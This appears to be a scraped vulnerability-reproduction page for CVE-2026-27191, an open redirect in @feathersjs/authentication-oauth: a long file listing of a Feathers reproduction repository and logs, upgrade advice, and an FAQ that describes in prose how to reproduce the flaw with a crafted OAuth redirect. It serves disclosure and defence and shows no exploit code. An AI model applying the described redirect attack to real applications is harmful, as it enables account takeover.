repro/feathers/packages/commons/LICENSE1.1 KB
repro/feathers/packages/commons/README.md0.7 KB
repro/feathers/packages/commons/package.json1.4 KB
repro/feathers/packages/commons/src/debug.ts0.7 KB
repro/feathers/packages/commons/src/index.ts2.6 KB
repro/feathers/packages/commons/test/debug.test.ts0.8 KB
repro/feathers/packages/commons/test/module.test.ts0.9 KB
repro/feathers/packages/commons/test/utils.test.ts4.6 KB
repro/feathers/packages/commons/tsconfig.json0.1 KB
repro/feathers/packages/configuration/CHANGELOG.md35.6 KB
repro/feathers/packages/configuration/LICENSE1.1 KB
repro/feathers/packages/configuration/README.md0.8 KB
repro/feathers/packages/configuration/package.json1.8 KB
repro/feathers/packages/configuration/src/index.ts1.1 KB
repro/feathers/packages/configuration/test/config/default.json0.1 KB
repro/feathers/packages/configuration/test/index.test.ts1.7 KB
repro/feathers/packages/configuration/tsconfig.json0.1 KB
repro/feathers/packages/create-feathers/CHANGELOG.md8.2 KB
repro/feathers/packages/create-feathers/README.md0.7 KB
repro/feathers/packages/create-feathers/bin/create-feathers.js1.2 KB
repro/feathers/packages/create-feathers/package.json1.1 KB
repro/feathers/packages/errors/CHANGELOG.md44.7 KB
repro/feathers/packages/errors/LICENSE1.1 KB
repro/feathers/packages/errors/README.md0.8 KB
repro/feathers/packages/errors/package.json1.4 KB
repro/feathers/packages/errors/src/index.ts6.4 KB
repro/feathers/packages/errors/test/index.test.ts11.1 KB
repro/feathers/packages/errors/tsconfig.json0.1 KB
repro/feathers/packages/express/CHANGELOG.md39.5 KB
repro/feathers/packages/express/LICENSE1.1 KB
repro/feathers/packages/express/README.md0.8 KB
repro/feathers/packages/express/package.json2.1 KB
repro/feathers/packages/express/public/401.html11.0 KB
repro/feathers/packages/express/public/404.html11.0 KB
repro/feathers/packages/express/public/default.html11.0 KB
repro/feathers/packages/express/src/authentication.ts1.9 KB
repro/feathers/packages/express/src/declarations.ts2.0 KB
repro/feathers/packages/express/src/handlers.ts4.1 KB
repro/feathers/packages/express/src/index.ts4.6 KB
repro/feathers/packages/express/src/rest.ts3.6 KB
repro/feathers/packages/express/test/authentication.test.ts6.1 KB
repro/feathers/packages/express/test/error-handler.test.ts11.2 KB
repro/feathers/packages/express/test/index.test.ts7.4 KB
repro/feathers/packages/express/test/not-found-handler.test.ts1.0 KB
repro/feathers/packages/express/test/rest.test.ts18.9 KB
repro/feathers/packages/express/tsconfig.json0.1 KB
repro/feathers/packages/feathers/CHANGELOG.md69.4 KB
repro/feathers/packages/feathers/LICENSE1.1 KB
repro/feathers/packages/feathers/README.md1.3 KB
repro/feathers/packages/feathers/package.json1.9 KB
repro/feathers/packages/feathers/src/application.ts6.0 KB
repro/feathers/packages/feathers/src/declarations.ts14.9 KB
repro/feathers/packages/feathers/src/events.ts1.2 KB
repro/feathers/packages/feathers/src/hooks.ts6.2 KB
repro/feathers/packages/feathers/src/index.ts0.5 KB
repro/feathers/packages/feathers/src/service.ts2.3 KB
repro/feathers/packages/feathers/src/version.ts0.0 KB
repro/feathers/packages/feathers/test/application.test.ts13.7 KB
repro/feathers/packages/feathers/test/declarations.test.ts2.3 KB
repro/feathers/packages/feathers/test/events.test.ts8.3 KB
repro/feathers/packages/feathers/test/hooks/after.test.ts8.4 KB
repro/feathers/packages/feathers/test/hooks/app.test.ts7.7 KB
repro/feathers/packages/feathers/test/hooks/around.test.ts8.6 KB
repro/feathers/packages/feathers/test/hooks/before.test.ts10.7 KB
repro/feathers/packages/feathers/test/hooks/error.test.ts7.0 KB
repro/feathers/packages/feathers/test/hooks/hooks.test.ts10.6 KB
repro/feathers/packages/feathers/tsconfig.json0.1 KB
repro/feathers/packages/generators/CHANGELOG.md14.0 KB
repro/feathers/packages/generators/README.md0.7 KB
repro/feathers/packages/generators/package.json2.5 KB
repro/feathers/packages/generators/src/app/index.ts6.0 KB
repro/feathers/packages/generators/src/app/templates/app.test.tpl.ts1.4 KB
repro/feathers/packages/generators/src/app/templates/app.tpl.ts3.8 KB
repro/feathers/packages/generators/src/app/templates/channels.tpl.ts2.1 KB
repro/feathers/packages/generators/src/app/templates/client.test.tpl.ts0.9 KB
repro/feathers/packages/generators/src/app/templates/client.tpl.ts1.7 KB
repro/feathers/packages/generators/src/app/templates/configuration.tpl.ts2.4 KB
repro/feathers/packages/generators/src/app/templates/declarations.tpl.ts1.5 KB
repro/feathers/packages/generators/src/app/templates/gitignore.tpl.ts2.1 KB
repro/feathers/packages/generators/src/app/templates/index.html.tpl.ts2.7 KB
repro/feathers/packages/generators/src/app/templates/index.tpl.ts0.7 KB
repro/feathers/packages/generators/src/app/templates/logger.tpl.ts1.5 KB
repro/feathers/packages/generators/src/app/templates/package.json.tpl.ts1.8 KB
repro/feathers/packages/generators/src/app/templates/prettierrc.tpl.ts0.4 KB
repro/feathers/packages/generators/src/app/templates/readme.md.tpl.ts1.5 KB
repro/feathers/packages/generators/src/app/templates/services.tpl.ts0.7 KB
repro/feathers/packages/generators/src/app/templates/tsconfig.json.tpl.ts0.8 KB
repro/feathers/packages/generators/src/app/templates/validators.tpl.ts1.0 KB
repro/feathers/packages/generators/src/authentication/index.ts3.2 KB
repro/feathers/packages/generators/src/authentication/templates/authentication.tpl.ts2.0 KB
repro/feathers/packages/generators/src/authentication/templates/client.test.tpl.ts2.3 KB
repro/feathers/packages/generators/src/authentication/templates/config.tpl.ts1.7 KB
repro/feathers/packages/generators/src/authentication/templates/declarations.tpl.ts1.1 KB
repro/feathers/packages/generators/src/commons.ts11.3 KB
repro/feathers/packages/generators/src/connection/index.ts4.2 KB
repro/feathers/packages/generators/src/connection/templates/knex.tpl.ts2.4 KB
repro/feathers/packages/generators/src/connection/templates/mongodb.tpl.ts2.0 KB
repro/feathers/packages/generators/src/hook/index.ts1.4 KB
repro/feathers/packages/generators/src/hook/templates/hook.tpl.ts1.2 KB
repro/feathers/packages/generators/src/index.ts0.3 KB
repro/feathers/packages/generators/src/service/index.ts6.2 KB
repro/feathers/packages/generators/src/service/templates/client.tpl.ts1.2 KB
repro/feathers/packages/generators/src/service/templates/schema.json.tpl.ts4.7 KB
repro/feathers/packages/generators/src/service/templates/schema.typebox.tpl.ts4.8 KB
repro/feathers/packages/generators/src/service/templates/service.tpl.ts4.2 KB
repro/feathers/packages/generators/src/service/templates/shared.tpl.ts1.8 KB
repro/feathers/packages/generators/src/service/templates/test.tpl.ts0.9 KB
repro/feathers/packages/generators/src/service/type/custom.tpl.ts2.9 KB
repro/feathers/packages/generators/src/service/type/knex.tpl.ts2.9 KB
repro/feathers/packages/generators/src/service/type/mongodb.tpl.ts1.9 KB
repro/feathers/packages/generators/test/commons.test.ts0.8 KB
repro/feathers/packages/generators/test/generators.test.ts5.6 KB
repro/feathers/packages/generators/test/utils.ts1.1 KB
repro/feathers/packages/generators/tsconfig.json0.2 KB
repro/feathers/packages/knex/CHANGELOG.md15.8 KB
repro/feathers/packages/knex/LICENSE1.1 KB
repro/feathers/packages/knex/README.md0.8 KB
repro/feathers/packages/knex/package.json1.8 KB
repro/feathers/packages/knex/src/adapter.ts11.2 KB
repro/feathers/packages/knex/src/declarations.ts0.7 KB
repro/feathers/packages/knex/src/error-handler.ts2.6 KB
repro/feathers/packages/knex/src/hooks.ts2.6 KB
repro/feathers/packages/knex/src/index.ts2.9 KB
repro/feathers/packages/knex/test/connection.ts0.5 KB
repro/feathers/packages/knex/test/error-handler.test.ts1.7 KB
repro/feathers/packages/knex/test/index.test.ts20.0 KB
repro/feathers/packages/knex/test/overrides.test.ts3.6 KB
repro/feathers/packages/knex/tsconfig.json0.1 KB
repro/feathers/packages/koa/CHANGELOG.md17.7 KB
repro/feathers/packages/koa/LICENSE1.1 KB
repro/feathers/packages/koa/README.md0.8 KB
repro/feathers/packages/koa/package.json2.1 KB
repro/feathers/packages/koa/src/authentication.ts1.6 KB
repro/feathers/packages/koa/src/declarations.ts0.9 KB
repro/feathers/packages/koa/src/handlers.ts0.6 KB
repro/feathers/packages/koa/src/index.ts3.0 KB
repro/feathers/packages/koa/src/rest.ts3.1 KB
repro/feathers/packages/koa/test/app.fixture.ts1.5 KB
repro/feathers/packages/koa/test/authentication.test.ts3.7 KB
repro/feathers/packages/koa/test/index.test.ts5.1 KB
repro/feathers/packages/koa/tsconfig.json0.1 KB
repro/feathers/packages/memory/CHANGELOG.md42.2 KB
repro/feathers/packages/memory/LICENSE1.1 KB
repro/feathers/packages/memory/README.md0.8 KB
repro/feathers/packages/memory/package.json1.6 KB
repro/feathers/packages/memory/src/index.ts9.6 KB
repro/feathers/packages/memory/test/index.test.ts5.9 KB
repro/feathers/packages/memory/tsconfig.json0.1 KB
repro/feathers/packages/mongodb/CHANGELOG.md15.9 KB
repro/feathers/packages/mongodb/LICENSE1.1 KB
repro/feathers/packages/mongodb/README.md0.8 KB
repro/feathers/packages/mongodb/package.json1.7 KB
repro/feathers/packages/mongodb/src/adapter.ts15.8 KB
repro/feathers/packages/mongodb/src/converters.ts1.6 KB
repro/feathers/packages/mongodb/src/error-handler.ts0.4 KB
repro/feathers/packages/mongodb/src/index.ts2.9 KB
repro/feathers/packages/mongodb/test/converters.test.ts2.9 KB
repro/feathers/packages/mongodb/test/index.test.ts23.1 KB
repro/feathers/packages/mongodb/tsconfig.json0.1 KB
repro/feathers/packages/rest-client/CHANGELOG.md33.5 KB
repro/feathers/packages/rest-client/LICENSE1.1 KB
repro/feathers/packages/rest-client/README.md0.8 KB
repro/feathers/packages/rest-client/package.json1.9 KB
repro/feathers/packages/rest-client/src/axios.ts0.8 KB
repro/feathers/packages/rest-client/src/base.ts5.1 KB
repro/feathers/packages/rest-client/src/fetch.ts1.2 KB
repro/feathers/packages/rest-client/src/index.ts2.1 KB
repro/feathers/packages/rest-client/src/superagent.ts1.0 KB
repro/feathers/packages/rest-client/test/axios.test.ts3.4 KB
repro/feathers/packages/rest-client/test/declarations.ts0.3 KB
repro/feathers/packages/rest-client/test/fetch.test.ts3.5 KB
repro/feathers/packages/rest-client/test/index.test.ts4.7 KB
repro/feathers/packages/rest-client/test/server.ts3.1 KB
repro/feathers/packages/rest-client/test/superagent.test.ts2.8 KB
repro/feathers/packages/rest-client/tsconfig.json0.1 KB
repro/feathers/packages/schema/CHANGELOG.md25.0 KB
repro/feathers/packages/schema/LICENSE1.1 KB
repro/feathers/packages/schema/README.md0.8 KB
repro/feathers/packages/schema/package.json1.9 KB
repro/feathers/packages/schema/src/default-schemas.ts4.4 KB
repro/feathers/packages/schema/src/hooks/index.ts0.1 KB
repro/feathers/packages/schema/src/hooks/resolve.ts6.5 KB
repro/feathers/packages/schema/src/hooks/validate.ts1.8 KB
repro/feathers/packages/schema/src/index.ts0.8 KB
repro/feathers/packages/schema/src/json-schema.ts6.1 KB
repro/feathers/packages/schema/src/resolver.ts5.9 KB
repro/feathers/packages/schema/src/schema.ts1.7 KB
repro/feathers/packages/schema/test/fixture.ts6.7 KB
repro/feathers/packages/schema/test/hooks.test.ts6.2 KB
repro/feathers/packages/schema/test/json-schema.test.ts2.1 KB
repro/feathers/packages/schema/test/resolver.test.ts5.2 KB
repro/feathers/packages/schema/test/schema.test.ts8.0 KB
repro/feathers/packages/schema/tsconfig.json0.1 KB
repro/feathers/packages/socketio/CHANGELOG.md46.6 KB
repro/feathers/packages/socketio/LICENSE1.1 KB
repro/feathers/packages/socketio/README.md0.8 KB
repro/feathers/packages/socketio/package.json1.8 KB
repro/feathers/packages/socketio/src/index.ts3.1 KB
repro/feathers/packages/socketio/src/middleware.ts2.2 KB
repro/feathers/packages/socketio/test/events.ts5.2 KB
repro/feathers/packages/socketio/test/index.test.ts6.8 KB
repro/feathers/packages/socketio/test/methods.ts3.0 KB
repro/feathers/packages/socketio/tsconfig.json0.1 KB
repro/feathers/packages/socketio-client/CHANGELOG.md30.4 KB
repro/feathers/packages/socketio-client/LICENSE1.1 KB
repro/feathers/packages/socketio-client/README.md0.8 KB
repro/feathers/packages/socketio-client/package.json1.8 KB
repro/feathers/packages/socketio-client/src/index.ts1.8 KB
repro/feathers/packages/socketio-client/test/index.test.ts2.7 KB
repro/feathers/packages/socketio-client/test/server.ts1.6 KB
repro/feathers/packages/socketio-client/tsconfig.json0.1 KB
repro/feathers/packages/tests/CHANGELOG.md20.4 KB
repro/feathers/packages/tests/LICENSE1.1 KB
repro/feathers/packages/tests/README.md0.3 KB
repro/feathers/packages/tests/package.json1.3 KB
repro/feathers/packages/tests/resources/certificate.pem0.9 KB
repro/feathers/packages/tests/resources/certrequest.csr0.7 KB
repro/feathers/packages/tests/resources/privatekey.pem0.9 KB
repro/feathers/packages/tests/src/client.ts3.0 KB
repro/feathers/packages/tests/src/fixture.ts2.7 KB
repro/feathers/packages/tests/src/index.ts0.1 KB
repro/feathers/packages/tests/src/rest.ts2.6 KB
repro/feathers/packages/tests/tsconfig.json0.1 KB
repro/feathers/packages/transport-commons/CHANGELOG.md50.1 KB
repro/feathers/packages/transport-commons/LICENSE1.1 KB
repro/feathers/packages/transport-commons/README.md0.7 KB
repro/feathers/packages/transport-commons/client.d.ts0.0 KB
repro/feathers/packages/transport-commons/client.js0.0 KB
repro/feathers/packages/transport-commons/package.json1.8 KB
repro/feathers/packages/transport-commons/src/channels/channel/base.ts1.3 KB
repro/feathers/packages/transport-commons/src/channels/channel/combined.ts1.4 KB
repro/feathers/packages/transport-commons/src/channels/index.ts4.0 KB
repro/feathers/packages/transport-commons/src/channels/mixins.ts2.9 KB
repro/feathers/packages/transport-commons/src/client.ts5.4 KB
repro/feathers/packages/transport-commons/src/http.ts2.3 KB
repro/feathers/packages/transport-commons/src/index.ts0.3 KB
repro/feathers/packages/transport-commons/src/routing/index.ts1.5 KB
repro/feathers/packages/transport-commons/src/routing/router.ts3.4 KB
repro/feathers/packages/transport-commons/src/socket/index.ts1.9 KB
repro/feathers/packages/transport-commons/src/socket/utils.ts4.1 KB
repro/feathers/packages/transport-commons/test/channels/channel.test.ts6.4 KB
repro/feathers/packages/transport-commons/test/channels/dispatch.test.ts7.1 KB
repro/feathers/packages/transport-commons/test/channels/index.test.ts1.2 KB
repro/feathers/packages/transport-commons/test/client.test.ts9.0 KB
repro/feathers/packages/transport-commons/test/http.test.ts2.7 KB
repro/feathers/packages/transport-commons/test/routing/index.test.ts3.1 KB
repro/feathers/packages/transport-commons/test/routing/router.test.ts3.7 KB
repro/feathers/packages/transport-commons/test/socket/index.test.ts4.3 KB
repro/feathers/packages/transport-commons/test/socket/utils.test.ts10.4 KB
repro/feathers/packages/transport-commons/tsconfig.json0.1 KB
repro/feathers/packages/typebox/CHANGELOG.md12.8 KB
repro/feathers/packages/typebox/LICENSE1.1 KB
repro/feathers/packages/typebox/README.md0.8 KB
repro/feathers/packages/typebox/package.json1.6 KB
repro/feathers/packages/typebox/src/default-schemas.ts3.5 KB
repro/feathers/packages/typebox/src/index.ts6.0 KB
repro/feathers/packages/typebox/test/index.test.ts3.5 KB
repro/feathers/packages/typebox/tsconfig.json0.1 KB
repro/feathers/tsconfig.json5.2 KB
logs/checkout_vulnerable.log0.6 KB
logs/clone.log0.0 KB
logs/compile_vulnerable.log0.5 KB
logs/npm_install_vulnerable.log0.3 KB
logs/reproduction.log2.7 KB
logs/variant_tests.log8.2 KB
logs/vulnerable_test.log1.1 KB
08 · How to Fix

How to Fix CVE-2026-27191

Upgrade @feathersjs/authentication-oauth · npm to 5.0.40 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-27191 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-27191

Which versions of @feathersjs/authentication-oauth are affected by CVE-2026-27191, and where is it fixed?

@feathersjs/authentication-oauth <= 5.0.39 is affected. It is fixed in 5.0.40.

How severe is CVE-2026-27191?

High severity. An open redirect in the OAuth callback flow can be used to enable account takeover.

How can I reproduce CVE-2026-27191?

Download the verified script from this page and run it in an isolated environment against @feathersjs/authentication-oauth <= 5.0.39. Initiate the OAuth callback flow with a crafted redirect containing an injected URL authority and confirm the application redirects to the attacker-controlled origin instead of the legitimate one; confirm 5.0.40 rejects the injected authority.
11 · References

References for CVE-2026-27191

Authoritative sources for CVE-2026-27191 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.